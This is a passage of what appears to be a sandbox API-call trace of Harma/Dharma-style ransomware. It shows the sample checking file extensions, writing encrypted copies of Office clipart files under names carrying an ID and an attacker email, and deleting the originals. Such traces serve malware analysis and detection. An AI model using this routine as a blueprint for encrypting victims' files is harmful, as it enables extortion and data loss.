(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.535] lstrlenW (lpString=".doc") returned 4 [0148.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.535] lstrlenW (lpString=".docx") returned 5 [0148.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.535] lstrlenW (lpString=".pdf") returned 4 [0148.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.535] lstrlenW (lpString=".xls") returned 4 [0148.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.536] lstrlenW (lpString=".xlsx") returned 5 [0148.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.536] lstrlenW (lpString=".ppt") returned 4 [0148.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.536] lstrlenW (lpString=".zip") returned 4 [0148.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.536] lstrlenW (lpString=".rar") returned 4 [0148.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.536] lstrlenW (lpString=".bz2") returned 4 [0148.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.536] lstrlenW (lpString=".7z") returned 3 [0148.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.536] lstrlenW (lpString=".dbf") returned 4 [0148.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.536] lstrlenW (lpString=".1cd") returned 4 [0148.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0148.536] lstrlenW (lpString=".jpg") returned 4 [0148.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.536] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0148.536] lstrlenW (lpString="BS01635_.WMF") returned 12 [0148.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.537] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=14996) returned 1 [0148.537] CloseHandle (hObject=0x33c) returned 1 [0148.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0148.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.538] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.538] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0148.538] GetLastError () returned 0x0 [0148.538] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0148.562] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0148.563] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.563] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.563] SetEndOfFile (hFile=0x340) returned 1 [0148.564] CloseHandle (hObject=0x340) returned 1 [0148.564] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.564] SetEndOfFile (hFile=0x33c) returned 1 [0148.566] CloseHandle (hObject=0x33c) returned 1 [0148.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0148.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.567] lstrlenW (lpString=".doc") returned 4 [0148.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.567] lstrlenW (lpString=".docx") returned 5 [0148.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.567] lstrlenW (lpString=".pdf") returned 4 [0148.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.567] lstrlenW (lpString=".xls") returned 4 [0148.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.568] lstrlenW (lpString=".xlsx") returned 5 [0148.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.568] lstrlenW (lpString=".ppt") returned 4 [0148.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.568] lstrlenW (lpString=".zip") returned 4 [0148.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.568] lstrlenW (lpString=".rar") returned 4 [0148.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.568] lstrlenW (lpString=".bz2") returned 4 [0148.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.568] lstrlenW (lpString=".7z") returned 3 [0148.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.568] lstrlenW (lpString=".dbf") returned 4 [0148.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.568] lstrlenW (lpString=".1cd") returned 4 [0148.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.568] lstrlenW (lpString=".jpg") returned 4 [0148.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.568] lstrlenW (lpString=".doc") returned 4 [0148.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.568] lstrlenW (lpString=".docx") returned 5 [0148.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.568] lstrlenW (lpString=".pdf") returned 4 [0148.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.568] lstrlenW (lpString=".xls") returned 4 [0148.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.569] lstrlenW (lpString=".xlsx") returned 5 [0148.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.569] lstrlenW (lpString=".ppt") returned 4 [0148.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.569] lstrlenW (lpString=".zip") returned 4 [0148.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.569] lstrlenW (lpString=".rar") returned 4 [0148.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.569] lstrlenW (lpString=".bz2") returned 4 [0148.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.569] lstrlenW (lpString=".7z") returned 3 [0148.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.569] lstrlenW (lpString=".dbf") returned 4 [0148.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.569] lstrlenW (lpString=".1cd") returned 4 [0148.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0148.569] lstrlenW (lpString=".jpg") returned 4 [0148.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.569] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0148.569] lstrlenW (lpString="BS01636_.WMF") returned 12 [0148.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.570] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1874) returned 1 [0148.570] CloseHandle (hObject=0x33c) returned 1 [0148.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0148.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.570] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.570] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0148.571] GetLastError () returned 0x0 [0148.571] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x752, lpOverlapped=0x0) returned 1 [0148.678] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x760, lpOverlapped=0x0) returned 1 [0148.678] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.679] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.679] SetEndOfFile (hFile=0x340) returned 1 [0148.781] CloseHandle (hObject=0x340) returned 1 [0148.781] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.781] SetEndOfFile (hFile=0x33c) returned 1 [0148.783] CloseHandle (hObject=0x33c) returned 1 [0148.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0148.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.784] lstrlenW (lpString=".doc") returned 4 [0148.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.785] lstrlenW (lpString=".docx") returned 5 [0148.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.785] lstrlenW (lpString=".pdf") returned 4 [0148.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.785] lstrlenW (lpString=".xls") returned 4 [0148.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.785] lstrlenW (lpString=".xlsx") returned 5 [0148.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.785] lstrlenW (lpString=".ppt") returned 4 [0148.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.785] lstrlenW (lpString=".zip") returned 4 [0148.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.785] lstrlenW (lpString=".rar") returned 4 [0148.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.785] lstrlenW (lpString=".bz2") returned 4 [0148.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.785] lstrlenW (lpString=".7z") returned 3 [0148.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.785] lstrlenW (lpString=".dbf") returned 4 [0148.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.785] lstrlenW (lpString=".1cd") returned 4 [0148.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.785] lstrlenW (lpString=".jpg") returned 4 [0148.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.786] lstrlenW (lpString=".doc") returned 4 [0148.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.786] lstrlenW (lpString=".docx") returned 5 [0148.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.786] lstrlenW (lpString=".pdf") returned 4 [0148.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.786] lstrlenW (lpString=".xls") returned 4 [0148.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.786] lstrlenW (lpString=".xlsx") returned 5 [0148.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.786] lstrlenW (lpString=".ppt") returned 4 [0148.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.786] lstrlenW (lpString=".zip") returned 4 [0148.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.786] lstrlenW (lpString=".rar") returned 4 [0148.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.786] lstrlenW (lpString=".bz2") returned 4 [0148.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.786] lstrlenW (lpString=".7z") returned 3 [0148.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.786] lstrlenW (lpString=".dbf") returned 4 [0148.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.786] lstrlenW (lpString=".1cd") returned 4 [0148.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0148.786] lstrlenW (lpString=".jpg") returned 4 [0148.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.787] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0148.787] lstrlenW (lpString="BS01637_.WMF") returned 12 [0148.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.787] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3948) returned 1 [0148.787] CloseHandle (hObject=0x33c) returned 1 [0148.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0148.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0148.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0148.788] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.788] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0148.789] GetLastError () returned 0x0 [0148.789] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xf6c, lpOverlapped=0x0) returned 1 [0148.794] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf70, lpOverlapped=0x0) returned 1 [0148.795] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.795] WriteFile (in: hFile=0x340, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.795] SetEndOfFile (hFile=0x340) returned 1 [0148.796] CloseHandle (hObject=0x340) returned 1 [0148.796] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.796] SetEndOfFile (hFile=0x33c) returned 1 [0148.798] CloseHandle (hObject=0x33c) returned 1 [0148.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0148.798] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0148.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.799] lstrlenW (lpString=".doc") returned 4 [0148.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.799] lstrlenW (lpString=".docx") returned 5 [0148.799] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.799] lstrlenW (lpString=".pdf") returned 4 [0148.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.799] lstrlenW (lpString=".xls") returned 4 [0148.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.799] lstrlenW (lpString=".xlsx") returned 5 [0148.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.799] lstrlenW (lpString=".ppt") returned 4 [0148.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.799] lstrlenW (lpString=".zip") returned 4 [0148.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.799] lstrlenW (lpString=".rar") returned 4 [0148.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.799] lstrlenW (lpString=".bz2") returned 4 [0148.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.800] lstrlenW (lpString=".7z") returned 3 [0148.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.800] lstrlenW (lpString=".dbf") returned 4 [0148.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.800] lstrlenW (lpString=".1cd") returned 4 [0148.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.800] lstrlenW (lpString=".jpg") returned 4 [0148.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0148.800] lstrlenW (lpString=".doc") returned 4 [0148.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.800] lstrlenW (lpString=".docx") returned 5 [0148.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.800] lstrlenW (lpString=".pdf") returned 4 [0148.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.800] lstrlenW (lpString=".xls") returned 4 [0148.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.800] lstrlenW (lpString=".xlsx") returned 5 [0148.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.800] lstrlenW (lpString=".ppt") returned 4 [0148.800] 